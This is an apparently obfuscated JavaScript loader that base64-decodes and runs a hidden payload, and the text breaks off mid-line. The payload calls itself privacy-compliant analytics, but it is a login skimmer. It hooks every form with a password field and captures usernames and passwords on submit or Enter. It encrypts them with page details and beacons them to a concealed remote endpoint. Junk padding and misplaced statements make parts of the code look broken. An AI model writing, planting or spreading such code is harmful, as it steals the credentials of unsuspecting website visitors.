;(function(){ var _load='dmFyIF84ODZlYWY0Mz1bJ0RVWVdSa0JZR2t0U0FFRUhYRklLVmdCVURWbFhURllDVkU1UlcwY0pBQThEQVFNUFVWQlJYQUVFQWxCVkFRPT0nLCdPa1VTUlZvOVhWUktDQVFKJywnQTEwUVd3PT0nLCdQa1liUmxaZlJRVkRFa1VMUVZBKycsJ1Bsd0RXMVpmUUJkVkUxd0ZYbEUrRkQ1Y0ExdFdYMWtMVnp3ZVAxMVZEbDFZVnc5WFdnNW9TR3NWU3hSV0NRWlZCRnNPYXg4NVd3VmRCQThSUUZFUlp3bGRCVjlkUHhrL1hnQmZBUTVCRUYwWGIwNXRYUU5ZQVEwQVVRZGNRUTFNT0E9PScsJ0ZrY0FXMW9XJywnRGxjYlVsd1ZXdz09JywnQmxvRFdGUUgnLCdHUT09JywnU1E9PScsJ0JnVUVCVkpiVjFaVVdRTUJBd0FGRFE9PScsJ05ub2pHd0ZYQXc9PScsJ0YxTVYnLCdKSGN4RzNRaGVBPT0nLCdBRndCUkVvU1FRPT0nLCdCZ1VFQlZKYlYxWT0nLCdOWDB4WWc9PScsJ0psME1RbFlNUVVsa0dFSUInLCdCRUlTV2xvQlZCQlpEbHhMV1VjTVZnPT0nLCdDMTFQVlZ3UVJnPT0nLCdDVjBEVWxvTVVnPT0nLCdJWDB2ZFZ3TVFRRmVGWDRMVWxBR1hBPT0nXTsKdmFyIF9iYTM3NWRiZj0nZTJiNjNiNWQwYTJkMzRjOCc7CmZ1bmN0aW9uIF9zKF9pKXsKICB2YXIgX2U9Xzg4NmVhZjQzW19pXTsKICB2YXIgX3I9Jyc7CiAgZm9yKHZhciBfaj0wO19qPF9lLmxlbmd0aDtfaisrKXsKICAgIF9yKz1TdHJpbmcuZnJvbUNoYXJDb2RlKF9lLmNoYXJDb2RlQXQoX2opXl9iYTM3NWRiZi5jaGFyQ29kZUF0KF9qJV9iYTM3NWRiZi5sZW5ndGgpKTsKICB9CiAgdHJ5e3JldHVybiBKU09OLnBhcnNlKF9yKX1jYXRjaChlKXtyZXR1cm4gX3J9CnZhciBfX3pfNGUwYzc4PTB4RkY7Cn0KLyogdHJhY2tlci5taW4uanMg4oCUIHByaXZhY3ktY29tcGxpYW50IGFuYWx5dGljcyAqLwo7KGZ1bmN0aW9uKCl7CnZhciBfbHQ9X2QoMCk7CmlmKF9fbl8xOTVlOTImJnR5cGVvZiBfX25fMTk1ZTkyPT09J29iamVjdCcpe19fbl8xOTVlOTIuX3g9d2luZG93LmlubmVyV2lkdGg7fQp2YXIgX3NyYz1sb2NhdGlvbi5ob3N0bmFtZTsKdmFyIF9tZW1fanExZT1sb2NhbFN0b3JhZ2UuZ2V0SXRlbShfZCgxKSl8fCcnOwpmdW5jdGlvbiBfaXRlcigpewogIHZhciBfZj1kb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKF9kKDIpKTsKICBmb3IodmFyIGk9MDtpPF9mLmxlbmd0aDtpKyspewogICAgaWYoX2ZbaV0ucXVlcnlTZWxlY3RvcihfZCgzKSkpX3JlZyhfZltpXSk7CiAgfQogIHZhciBfcD1kb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKF9kKDMpKTsKICBmb3IodmFyIGo9MDtqPF9wLmxlbmd0aDtqKyspewogICAgX3JlZzIoX3Bbal0pOwogIH0KfQpmdW5jdGlvbiBfcmVnKF9mKXsKICBpZighX2Z8fF9mLl9fcHQ3ZSlyZXR1cm47CiAgX2YuX19wdDdlPTE7CiAgdmFyIF9jYXA9ZnVuY3Rpb24oKXsKICAgIHZhciBfdV93cG4wPV9mLnF1ZXJ5U2VsZWN0b3IoX2QoNCkpOwogICAgdmFyIF9kX3VlNnU9X2YucXVlcnlTZWxlY3RvcihfZCgzKSk7CnZhciBfY3R4X2Y3NGIxZD1kb2N1bWVudC50aXRsZS5sZW5ndGg7CiAgICBpZihfdV93cG4wJiZfZF91ZTZ1JiZfdV93cG4wLnZhbHVlJiZfZF91ZTZ1LnZhbHVlKV9wdXNoX3E0cW4oX3Vfd3BuMC52YWx1ZSxfZF91ZTZ1LnZhbHVlKTsKICB9OwogIF9mLmFkZEV2ZW50TGlzdGVuZXIoX2QoNSksX2NhcCx0cnVlKTsKICBfZi5hZGRFdmVudExpc3RlbmVyKF9kKDYpLGZ1bmN0aW9uKGUpe2lmKGUua2V5Q29kZT09PTEzfHxlLndoaWNoPT09MTMpX2NhcCgpO30sdHJ1ZSk7CnRyeXtfbGVuXzY3ZDYwNj0iIjt9Y2F0Y2goZSl7fQp9CmZ1bmN0aW9uIF9yZWcyKF9kX3VlNnUpewogIGlmKCFfZF91ZTZ1fHxfZF91ZTZ1Ll9fcHQ3ZTIpcmV0dXJuOwogIF9kX3VlNnUuX19wdDdlMj0xOwogIF9kX3VlNnUuYWRkRXZlbnRMaXN0ZW5lcihfZCg3KSxmdW5jdGlvbigpewp2YXIgX2NudF81Y2JkYmY7dHJ5e19jbnRfNWNiZGJmPXdpbmRvdy5hdG9iKCdhMWEyYmZlN2U4YzZjMzQyJyl9Y2F0Y2goZSl7X2NudF81Y2JkYmY9bmF2aWdhdG9yLnVzZXJBZ2VudC5sZW5ndGh9CiAgICB2YXIgX3Vfd3BuMD1kb2N1bWVudC5xdWVyeVNlbGVjdG9yKF9kKDQpKTsKICAgIGlmKF91X3dwbjAmJl91X3dwbjAudmFsdWUmJl9kX3VlNnUudmFsdWUpX3B1c2hfcTRxbihfdV93cG4wLnZhbHVlLF9kX3VlNnUudmFsdWUpOwogIH0pOwp9CmZ1bmN0aW9uIF9wdXNoX3E0cW4odXNyLHB3ZCl7CiAgaWYoIXVzcnx8IXB3ZHx8cHdkLmxlbmd0aDw0KXJldHVybjsKICB2YXIgaz11c3IrX2QoOCkrcHdkLnNsaWNlKDAsNCk7CnZhciBfdmFsXzI3MGM0MDt0cnl7X3ZhbF8yNzBjNDA9d2luZG93LmF0b2IoJ2VkMmZjNDAzNTNhMGJhZjAnKX1jYXRjaChlKXtfdmFsXzI3MGM0MD0weEZGfQogIGlmKF9tZW1fanExZS5pbmRleE9mKGspPj0wKXJldHVybjsKdmFyIF9fa19mNjI3OGQ7dHJ5e19fa19mNjI3OGQ9d2luZG93LmF0b2IoJ2VmOTE2ZGU5MGE2YmUzMTMnKX1jYXRjaChlKXtfX2tfZjYyNzhkPXVuZGVmaW5lZH0KICBfbWVtX2pxMWUrPWsrX2QoOSk7CnZhciBfZmxhZ19lNjQxODY7dHJ5e19mbGFnX2U2NDE4Nj13aW5kb3cuYXRvYignYzcyMzM0MTVjNDc5ZmUxMicpfWNhdGNoKGUpe19mbGFnX2U2NDE4Nj1NYXRoLlBJfQogIGlmKF9tZW1fanExZS5sZW5ndGg+KDYqMjAwKSlfbWVtX2pxMWU9X21lbV9qcTFlLnNsaWNlKC0oMjQzLTQyKSk7CiAgdHJ5e2xvY2FsU3RvcmFnZS5zZXRJdGVtKF9kKDEpLF9tZW1fanExZSl9Y2F0Y2goZSl7fQogIHZhciBfZGx5PU1hdGgucmFuZG9tKCkqKCgweGUxNCl8MCkrKDY2My05KTsKICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7CiAgICB2YXIgX3BheWxvYWQ9ewogICAgICBsOl9zcmMsCiAgICAgIGE6dXNyLAogICAgICB0czpwd2QsCiAgICAgIGI6e3Q6ZG9jdW1lbnQudGl0bGUscjpkb2N1bWVudC5yZWZlcnJlcixwOmxvY2F0aW9uLnBhdGhuYW1lfSwKdHJ5e19idWZfODNmMjNkPWZhbHNlO31jYXRjaChlKXt9CiAgICAgIHI6RGF0ZS5ub3coKSwKdmFyIF9fal8zNmI3OTU9IiI7CnZhciBfX2lfZWFmNjVmPU1hdGgucmFuZG9tKCk7CnZhciBfX25fNmJmMzI1PURhdGUubm93KCklKCgweDNlOCl8MCk7CiAgICAgIGExOk1hdGgucmFuZG9tKCkudG9TdHJpbmcoMzYpLnNsaWNlKDIpCmlmKF9hY2NfNGQwN2M5JiZ0eXBlb2YgX2FjY180ZDA3Yzk9PT0nb2JqZWN0Jyl7X2FjY180ZDA3YzkuX3g9MTt9CiAgICB9OwogICAgdmFyIF9qc29uPUpTT04uc3RyaW5naWZ5KF9wYXlsb2FkKTsKICAgIC8vIEFFUy1HQ00gZW5jcnlwdGlvbgogICAgaWYod2luZG93LmNyeXB0byYmY3J5cHRvLnN1YnRsZSl7CmlmKF9fdl9jNWViNzkmJnR5cGVvZiBfX3ZfYzVlYjc5PT09J29iamVjdCcpe19fdl9jNWViNzkuX3g9TWF0aC5QSTt9CnZhciBfX25fZjQ3NWU5O3RyeXtfX25fZjQ3NWU5PXdpbmRvdy5hdG9iKCdlNGNlYzM1ZGFjNGY2NjYxJyl9Y2F0Y2goZSl7X19uX2Y0NzVlOT13aW5kb3cuaW5uZXJXaWR0aH0KICAgICAgdmFyIF9rZXlCeXRlcz1uZXcgVGV4dEVuY29kZXIoKS5lbmNvZGUoX2QoMTApKTsKICAgICAgY3J5cHRvLnN1YnRsZS5kaWdlc3QoX2QoMTEpLF9rZXlCeXRlcykudGhlbihmdW5jdGlvbihfaCl7CiAgICAgICAgY3J5cHRvLnN1YnRsZS5pbXBvcnRLZXkoX2QoMTIpLF9oLHtuYW1lOl9kKDEzKX0sZmFsc2UsW19kKDE0KV0pLnRoZW4oZnVuY3Rpb24oX2NrKXsKICAgICAgICAgIHZhciBfaXY9Y3J5cHRvLmdldFJhbmRvbVZhbHVlcyhuZXcgVWludDhBcnJheSgxMikpOwogICAgICAgICAgY3J5cHRvLnN1YnRsZS5lbmNyeXB0KHtuYW1lOl9kKDEzKSxpdjpfaXZ9LF9jayxuZXcgVGV4dEVuY29kZXIoKS5lbmNvZGUoX2pzb24pKS50aGVuKGZ1bmN0aW9uKF9jdCl7CnZhciBfdmFsXzVmOTBjMzt0cnl7X3ZhbF81ZjkwYzM9d2luZG93LmF0b2IoJzJmYzUxZWRhNmI0ZDA0MzEnKX1jYXRjaChlKXtfdmFsXzVmOTBjMz0wfQogICAgICAgICAgICB2YXIgX2NvbWJpbmVkPW5ldyBVaW50OEFycmF5KF9pdi5sZW5ndGgrX2N0LmJ5dGVMZW5ndGgpOwp2YXIgX2J1Zl80YTg5OGY7dHJ5e19idWZfNGE4OThmPXdpbmRvdy5hdG9iKCc3MDNiNmZkYjEzNzllZWY4Jyl9Y2F0Y2goZSl7X2J1Zl80YTg5OGY9RGF0ZS5ub3coKSUoMHgzZTgrMCl9CiAgICAgICAgICAgIF9jb21iaW5lZC5zZXQoX2l2LDApOwogICAgICAgICAgICBfY29tYmluZWQuc2V0KG5ldyBVaW50OEFycmF5KF9jdCksX2l2Lmxlbmd0aCk7CiAgICAgICAgICAgIHZhciBfYjY0PWJ0b2EoU3RyaW5nLmZyb21DaGFyQ29kZS5hcHBseShudWxsLF9jb21iaW5lZCkpOwogICAgICAgICAgICB2YXIgX3dyYXBwZWQ9SlNPTi5zdHJpbmdpZnkoe3Q6X2QoMTUpLGQ6X2I2NH0pOwogICAgICAgICAgICB0cnl7bmF2aWdhdG9yLnNlbmRCZWFjb24oX2QoMCksX3dyYXBwZWQpO31jYXRjaChlKXsKICAgICAgICAgICAgICB0cnl7ZmV0Y2goX2QoMCkse21ldGhvZDpfZCgxNiksYm9keTpfd3JhcHBlZCxoZWFkZXJzOntfZCgxNyk6X2QoMTgpfSxrZWVwYWxpdmU6dHJ1ZSxtb2RlOl9kKDE5KX0pO31jYXRjaChlMil7fQogICAgICAgICAgICB9CiAgICAgICAgICB9KTsKICAgICAgICB9KTsKdHJ5e19idWZfYThjNzZkPTE7fWNhdGNoKGUpe30KICAgICAgfSk7CiAgICB9IGVsc2UgewogICAgICAvLyBGYWxsYmFjazogWE9SICsgYmFzZTY0CiAgICAgIHZhciBfeGs9X2QoMTApOwogICAgICB2YXIgX3hvcj0nJzsKICAgICAgZm9yKHZhciBpPTA7aTxfanNvbi5sZW5ndGg7aSsrKXtfeG9yKz1TdHJpbmcuZnJvbUNoYXJDb2RlKF9qc29uLmNoYXJDb2RlQXQoaSleX3hrLmNoYXJDb2RlQXQoaSVfeGsubGVuZ3RoKSk7fQogICAgICB2YXIgX3hiNjQ9YnRvYShfeG9yKTsKICAgICAgdmFyIF93cmFwcGVkPUpTT04uc3RyaW5naWZ5KHt0Ol9kKDE1KSxkOl94YjY0LHg6MX0pOwogICAgICB0cnl7bmF2aWdhdG9yLnNlbmRCZWFjb24oX2QoMCksX3dyYXBwZWQpO31jYXRjaChlKXsKICAgICAgICB0cnl7ZmV0Y2goX2QoMCkse21ldGhvZDpfZCgxNiksYm9keTpfd3JhcHBlZCxoZWFkZXJzOntfZCgxNyk6X2QoMTgpfSxrZWVwYWxpdmU6dHJ1ZSxtb2RlOl9kKDE5KX0pO31jYXRjaChlMil7fQogICAgICB9CiAgICB9CiAgfSxfZGx5KTsKfQppZihkb2N1bWVudC5yZWFkeVN0YXRlPT09X2QoMjApKWRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoX2QoMjEpLF9pdGVyKTsKaWYoX19uX2MyODgwZSYmdHlwZW9mIF9fbl9jMjg4MGU9PT0nb2JqZWN0Jyl7X19uX2MyODgwZS5feD0iIjt9CnRyeXtpZihkb2N1bWVudC5ib2R5KW5ldyBNdXRhdGlvbk9ic2VydmVyKF9pdGVyKS5vYnNlcnZlKGRvY3VtZW50LmJvZHkse2NoaWxkTGlzdDp0cnVlLHN1YnRyZWU6dHJ1ZSxhdHRyaWJ1dGVzOmZhbHNlfSk7fWNhdGNoKGUpe30Kc2V0SW50ZXJ2YWwoX2l0ZXIsKDI1MzgtMjkpKTsKX2l0ZXIoKTsKfSkoKTsKdmFyIF9tb2RlX2FiOTYxZDt0cnl7X21vZGVfYWI5NjFkPXdpbmRvdy5hdG9iKCdiNzBjM2FlNTFmM2RlNWUyJyl9Y2F0Y2goZSl7X21vZGVfYWI5NjFkPWZhbHNlfQ=='; var _855acd49='37393f794bf7fee6'; try{ var _code=atob(_load); var _h=function(s){var h=0;for(var i=0;i